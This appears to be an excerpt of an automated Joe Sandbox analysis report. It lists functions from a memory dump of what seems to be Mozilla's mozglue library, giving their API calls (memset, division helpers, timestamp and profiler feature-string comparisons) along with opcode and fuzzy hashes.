Opcode Fuzzy Hash: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction Fuzzy Hash: 6182CF319093318BF710CF1BC49026EB7E6EB85758F65892AE8D547ED0DB35E885CB82

Function 6C95BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C95C1CB
__aulldiv.LIBCMT ref: 6C95C24C
__aulldiv.LIBCMT ref: 6C95C348
__aullrem.LIBCMT ref: 6C95C365
__aulldiv.LIBCMT ref: 6C95C37D

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca564f0a8df396e03c74de320938d7a0532e7320a7295eeba397575622058f59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C322632B046168FCB18DE3CC89066ABBE6AFD9310F49866DE495CB395D730ED05CB91

Function 6C9C545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C8A4B

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6748e7821dcc473d6c0f55ff824bf16f35ac862823f67dc771b8f36cf46e1fb6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D2B1E672B0021ACFDB14CF68CC907A9B7B6EF95314F1902A9C549EB781D730E985CB92

Function 6C9C542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6cd0fcc83cd549fe357bb5cf7969e5caf8bc937e41cd46092fa0c911797b1cdb
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 75B1D572F0021A8BDB14CF58CC816ADB7B6AF95314F190269C549EBB85D730E989CB92

Function 6C9C50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: b7d9ce138e4f5084dc90b56994151a48e0598923134e98aea57dfd13da7d3c95
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: AAA1D772B001178FDB14CF68CC807A9B7B6AF95314F1502B9C949EB785D730E999CB92

Function 6C9A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A7A93

Part of subcall function 6C975C50: GetTickCount64.KERNEL32 ref: 6C975D40
Part of subcall function 6C975C50: EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A7AA1

Part of subcall function 6C975C50: __aulldiv.LIBCMT ref: 6C975DB4
Part of subcall function 6C975C50: LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9A7B31

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction ID: 35d63b402a5348829407a67e4b6dac3005365ed227e1c3fbdf0c17e17450f845
Opcode Fuzzy Hash: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction Fuzzy Hash: 90B1AC356087808BCB18CFA4C49165FB7E2BFD9318F154A1CE99567B94DB70E90BCB82

Function 6C996CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C996D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996E1E

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction ID: f7634df291f7fc298ae2d1d3f8b29d472dd0c08a0e26eb2a7d4116a96b0aebee
Opcode Fuzzy Hash: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction Fuzzy Hash: 93A18D706183818FCB15CF24C4907AEFBE6BFA8308F54495DE48A87751DB70E959CB92

Function 6C9BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9BB720
RtlNtStatusToDosError.NTDLL ref: 6C9BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C98FE3F,00000000,00000000,?,?,00000000,?,6C98FE3F), ref: 6C9BB760

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction ID: 973e5f119293fe9ebbc3919dc469951abb1e451a2f5b83f2ef42083c76e2a61a
Opcode Fuzzy Hash: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction Fuzzy Hash: 51F0AFB0A0420CAEEF019AA1CCC4BEFB7BC9B14719F105129E511729C0D774E6C8C762

Function 6C974640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C974777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C975585, 6C9755A8, 6C9755C3, 6C975624

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction ID: 1fad17c29fd2c955e96db0ffb6502fe17ff21090745f4a1ef674bff60e20a197
Opcode Fuzzy Hash: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction Fuzzy Hash: 37B28D71A06B018FD728CF18C590715BBE6BFC5324B29C7ADE4698B6A6D731E841CF90

Function 6C9B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B8C7C
__aulldiv.LIBCMT ref: 6C9B8DD7

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: abf186ce9f9c734c8e384b0231a2bea45213bc7c3d19e44ecba271efc7597e0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DB325971F0121A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD506BB790DA349D458B95

Function 6C9BB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9603D4,?), ref: 6C9BB955
NtQueryVirtualMemory.NTDLL ref: 6C9BB9A5

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction ID: 74815975401d012b9c5b82fc612d258ea3ca7e91d580970858bfb7b2fe73cd1e
Opcode Fuzzy Hash: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction Fuzzy Hash: 8641C571F01219AFDF04CFA9D880ADEB7B9EF88354F14812AE505B7744DB30E9458B91

Function 6C995C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C964A63,?,?), ref: 6C995F06

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction ID: e87c19aeb54141b40e2ff11cc4c98e9d4ce69d8caccf48a06b77821da2475711
Opcode Fuzzy Hash: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction Fuzzy Hash: DAC1C175D012099BCB04CFA5C5906EEBBF6FF8A319F28425DD8556BB44D732A846CB80

Function 6C95DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction ID: a899fa613e4c4b232c11e9189b4b7732dc773f6f34e3f0bd3ad67280208987b7
Opcode Fuzzy Hash: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction Fuzzy Hash: AC42D472A087518BD304CE3CC49035AF3E2BFC9364F594B2DE999A7794D739D9418B82

Function 6C9C76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b85fa92e39bd717ff08c812256885db20c52909c69fc35117cf796b061bc8064
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8332F871E0061A8FDB14CF98C8D0AADFBB6FF88304F6481A9C549A7745D731A986CF91

Function 6C9C6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 339a7a8d9ce8ff281e064841f521848a5f2afeceb7f9eb647f16b7c89a008e69
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F522E871E0061A8FDB14CF98C880AADF7F6FF88304F6485AAC549A7745D731A986CF91

Function 6C980512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 286ab1b55caabb77574da8dc762465e9dbb4a6a592fa37c3ece0a54f2dbccbfb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FC221671E01659CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D731A986CF90

Function 6C9CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction ID: 845f37bb87fd0395f7ec045ee9b6bdfdba6238f99a989a2309416836ff3aa9ca
Opcode Fuzzy Hash: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction Fuzzy Hash: C3F14871B087458FD700CE28C8913AAB7E6AFD5318F158A2DE8D487781EB74D9898793

Function 6C95C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f235e11923b688408c7ff9597425e03612c3ff3549a37dde2826480d5134435
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AAA1AA71F0021A8FDB08CE69C8913AEB7F2AFC8354F588269D915E7781DB349D168B90

Function 6C997710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction ID: 9235d4aeb16e95b897db654b44aad1d842f977bcab8bd4c1c42e8846b01dd419
Opcode Fuzzy Hash: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction Fuzzy Hash: 7B714C75E012198FCB18CF99D8905EDBBB6FF89314F28816ED415AB740DB31A945CB90

Function 6C9958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction ID: e27303789d493c5076aeb74b262a07e258456b216b98fe066c17ff9ed332aa26
Opcode Fuzzy Hash: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction Fuzzy Hash: F5817A75A012199FCB04CFA8C8809EEBBF6FF89314F684269D511AB741D731E945CBA0

Function 6C99CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C96582D), ref: 6C99CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C96582D), ref: 6C99CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9CFE98,?,?,?,?,?,6C96582D), ref: 6C99CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C99CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C99CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C99CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C99CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C99CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C99CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C99CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C99CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C99CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C99CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C99CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C99CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C99CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C99CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C99CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C99CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C99CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C99CE8A

Strings

unregisteredthreads, xrefs: 6C99CE58
stackwalk, xrefs: 6C99CCF8
fileioall, xrefs: 6C99CCA8
java, xrefs: 6C99CC37
nativeallocations, xrefs: 6C99CDA8
noiostacks, xrefs: 6C99CCBE
default, xrefs: 6C99CC21
notimerresolutionchange, xrefs: 6C99CE00
